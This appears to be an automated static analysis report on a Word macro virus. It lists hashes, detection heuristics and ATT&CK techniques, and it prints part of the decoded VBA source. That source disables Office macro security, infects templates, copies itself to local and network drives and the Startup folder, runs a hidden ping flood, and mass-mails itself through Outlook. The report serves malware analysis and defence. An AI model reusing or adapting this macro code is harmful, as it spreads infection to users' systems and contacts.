Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 514fd848bb33ea38…

MALICIOUS

Office (OLE)

39.0 KB Created: 1980-01-11 20:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a48f14809e73bf9bbc70bf4f4df4cb2f SHA-1: 1d214480a789f46e683678090ca4c88c4c6e931b SHA-256: 514fd848bb33ea383c7c63edd14c1ddc1d1128dc0ec2c4a6f46addf17fd5727e
450 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains critical heuristics indicating the presence of VBA macros designed to execute code, specifically using the Shell() function and attempting to obfuscate a URL. The Document_Open and Auto_Close macros are present, suggesting an attempt to run malicious code upon opening and closing the document. The script attempts to disable security settings and download a second-stage payload, as indicated by the Shell() call and the presence of a URL within the obfuscated command. The ClamAV detections further confirm its malicious nature.

Heuristics 11

  • ClamAV: Doc.Trojan.Pri-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pri-3
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.microsoft.com/ Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25424 bytes
SHA-256: 53634a8d1b80e808cd2e1128c6b35d4c7178adf14b31894dfcc5d915ad7632f4
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
'This Word XP virus was created using NWXPG
'code by Necronomikon/[Zer0Gravity]
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
If System.PrivateProfileString("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "AccessVBOM") <> 1& Then
Application.AutomationSecurity = msoAutomationSecurityForceDisable
System.PrivateProfileString("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security       AccessVBOM") = 1&
win = Environ("windir")
docz = win & "\re.doc"
UnKqCqLm = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
VhPrFhRz = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "pri" Then
Set JyVwHqMr = ActiveDocument.VBProject.VBComponents.Item(1)
RfPsJgNf = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "pri" Then
Set JyVwHqMr = NormalTemplate.VBProject.VBComponents.Item(1)
CyOhDjJq = True
ActiveDocument.Saved = True
End If
If GetAttr(ActiveDocument.FullName) = 1 Then
SetAttr ActiveDocument.FullName, 0
ActiveDocument.Reload
End If
If CyOhDjJq <> True And RfPsJgNf <> True Then GoTo EtRnErSz
EtRnErSz:
If VhPrFhRz <> 0 And UnKqCqLm = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
SetAttr ActiveDocument.FullName, 1
ActiveDocument.Saved = True: End If
OurCode = NPE(ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, _
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines))
Shell " ping -l 50000 -t http://www.microsoft.com/", vbHide '""

Call network
End Sub
Sub infect(drive)
On Error Resume Next
Dim s, f
Set s = CreateObject("Scripting.FileSystemObject")
Set f = s.GetFile("c:\WINDOWS\necro.mp3")
f.Copy (drive & "\pussy.com")
f.Copy (drive & "\windows\startm~1\programs\startup\msdos.com")
End Sub
Function ShowDriveType(drvpath)
On Error Resume Next
Dim fso, d, t
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(drvpath)
Select Case d.DriveType
Case 0: t = "Unknown"
Case 1: t = "Removable"
Case 2: t = "Fixed"
Case 3: t = "Network"
Case 4: t = "CD-ROM"
Case 5: t = "RAM Disk"
End Select
If t = "" Then t = "None"
ShowDriveType = t
End Function
Sub network()
On Error Resume Next
Dim n, l, d3, drv
For n = 65 To 90
l = Chr(n)
drv = l & ":"
d3 = ShowDriveType(drv)
If d3 = "Fixed" Then infect (drv)
If d3 = "Network" Then infect (drv)
Next n
End Sub
Sub AutoClose()
On Error Resume Next
Rem taken from Word97/2K/XP.Tijor by Ultras[MATRiX]
Dim win, packIt
win = Environ("windir")
packIt = UUEncode(win & "\re.doc", win & "\" & "" & Application.UserName & "" & ".uue")
Set OutlookApp = CreateObject("Outlook.Application")
Set MAPIuz = OutlookApp.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\nwxpg\", "nwxpg") <> "by Necronomikon[Zerogravity]" Then
If OutlookApp = "Outlook" Then
MAPIuz.Logon "profile", "password"
For Address = 1 To MAPIuz.AddressLists.Count
Set AddyBook = MAPIuz.AddressLists(Address)
countz = 1
Set Guan0utlook = OutlookApp.CreateItem(0)
For mmez = 1 To AddyBook.AddressEntries.Count
AddBZ = AddyBook.AddressEntries(countz)
Guan0utlook.Recipients.Add AddBZ
countz = countz + 1
If countz > 30 Then oo = AddyBook.AddressEntries.Count
Next mmez
Randomize
numberz = Int(Rnd * 9) + 1
If numberz = 1 Then mez$ = "Read this..."
If numberz = 2 Then mez$ = "" & Application.UserName & " :)"
If numberz = 3 Then mez$ = "Unpack it."

... (truncated)